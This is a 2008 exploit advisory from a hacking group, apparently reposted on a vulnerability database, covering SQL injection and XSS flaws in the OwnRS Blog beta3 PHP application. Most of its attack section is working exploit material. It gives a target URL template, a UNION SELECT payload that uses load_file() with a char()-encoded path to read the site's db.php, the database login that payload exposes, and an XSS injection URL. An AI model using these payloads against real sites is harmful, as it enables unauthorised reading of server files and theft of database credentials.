OwnRS Blog beta3 (SQL/XSS) Multiple Remote Vulnerabilities

🗓️ 20 Jun 2008 00:00:00Reported by RootType
OwnRS Blog beta3 Remote Vulnerabilities - SQL Injection and XS

                                                ==============================================================
&nbsp;&nbsp;OwnRS&nbsp;Blog&nbsp;beta3&nbsp;(SQL/XSS)&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilities
==============================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'


AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;19&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;OwnRS
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Beta3
&nbsp;VENDOR	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;N/A
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://downloads.sourceforge.net/ownrs
#####################################################

---&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;---

**magic_quote&nbsp;must&nbsp;turn&nbsp;off**

------------------------------
&nbsp;Vulnerable&nbsp;File&nbsp;(clanek.php)
------------------------------

@&nbsp;Line&nbsp;66

[+]&nbsp;$vysledek=mysql_query(&quot;select&nbsp;*&nbsp;from&nbsp;clanky&nbsp;where&nbsp;id=&nbsp;'&quot;&nbsp;.&nbsp;$id&nbsp;.&nbsp;&quot;'&quot;)&nbsp;or&nbsp;die&nbsp;(mysql_error());

----------
&nbsp;Exploit
----------

[+]&nbsp;http://[Target]/[Ownrs_path]/clanek.php?id=[SQL&nbsp;Injection]

-------------
&nbsp;POC&nbsp;Exploit
-------------

[+]&nbsp;http://localhost/own/clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1

When&nbsp;you&nbsp;view&nbsp;source,&nbsp;You&nbsp;can&nbsp;see

@Line&nbsp;87

[+]&nbsp;&lt;h1&gt;&lt;a&nbsp;href=&quot;clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1&quot;&gt;&lt;?php
[+]&nbsp;$spojeni=&nbsp;mysql_connect(
[+]&nbsp;//server
[+]&nbsp;&quot;localhost&quot;,
[+]&nbsp;//login
[+]&nbsp;&quot;xampp&quot;,
[+]&nbsp;//heslo
[+]&nbsp;&quot;xampp&quot;&nbsp;);
[+]&nbsp;//databáze
[+]&nbsp;mysql_select_db(&quot;databaze&quot;,$spojeni);
[+]&nbsp;?&gt;
[+]&nbsp;&lt;/a&gt;&lt;/h1&gt;
[+]&nbsp;45&lt;p&nbsp;class=&quot;right&quot;&gt;&lt;strong&gt;&lt;a&nbsp;href=&quot;index.php?kat=9&quot;&gt;
[+]&nbsp;&lt;div&nbsp;class=&quot;cara&quot;&gt;&lt;span&nbsp;class=&quot;schovat&quot;&gt;cara&lt;/span&gt;&lt;/div&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

---------------------
&nbsp;Exploit&nbsp;Description
---------------------

&nbsp;&nbsp;&nbsp;&nbsp;This&nbsp;exploit&nbsp;use&nbsp;load_file()&nbsp;to&nbsp;view&nbsp;source&nbsp;files&nbsp;(load_file()&nbsp;can&nbsp;only&nbsp;use&nbsp;with&nbsp;Mysql5+)

load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112))
will&nbsp;open&nbsp;C:\xampp\htdocs\Own\db.php


---&nbsp;Remote&nbsp;XSS&nbsp;Exploit&nbsp;---

------------------------------
&nbsp;Vulnerable&nbsp;File&nbsp;(clanek.php)
------------------------------

@&nbsp;Line&nbsp;69

[+]&nbsp;&lt;h1&gt;&lt;a&nbsp;href=&quot;clanek.php?id=&lt;?echo&nbsp;$id?&gt;&quot;&gt;&lt;?echo&nbsp;$zaznam[&quot;nadpis&quot;]?&gt;&lt;/a&gt;&lt;/h1&gt;

---------
&nbsp;Exploit
---------

[+]&nbsp;http://[Target]/[Ownrs_path]/clanek.php?id=&lt;XSS&gt;


##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
20 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1